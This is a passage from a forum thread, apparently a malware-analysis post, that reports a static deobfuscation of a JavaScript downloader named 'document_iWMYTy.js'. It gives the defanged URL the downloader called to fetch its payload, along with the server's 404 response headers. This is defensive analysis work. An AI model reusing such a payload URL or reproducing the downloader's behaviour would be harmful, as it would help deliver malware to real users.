But only a .txt file.

In fact the most interesting part, is when I show how to find the real content

The second part, that tries to download the payload from http : //djprestige.net/111000/logs/logs.php, returns now a 404 not found in the response request. There is "Not Found [CFN #0005]" in the webpage, build by the PHP part
=> it returns the web page you see, so content-type : text/html

content-length: 21
set-cookie: TS0194eee0=010bd780449280ab0c055aeba760108bb87a557eb50aed5c3f24a827165881d3936b5ff52b; Path=/
keep-alive: timeout=10, max=100
connection: Keep-Alive
date: Thu, 01 Sep 2016 15:36:28 GMT
content-type: text/html; charset=iso-8859-1

=> the bad part has been removed
=> The link no more works

I wonder if it was or not like a test for a future js/downloader.
Must follow the evolution.

N.B.: Don't forget it's a static analysis, I only understood and wrote what it must do, only by looking at all the part and deobfuscating it.

Search

Malware Analysis Deobfuscation of 'document_iWMYTy.js' (1/56 : 31_08_2016)

DardiM

Level 26

Solarquest

Moderator

DardiM

Level 26

Similar threads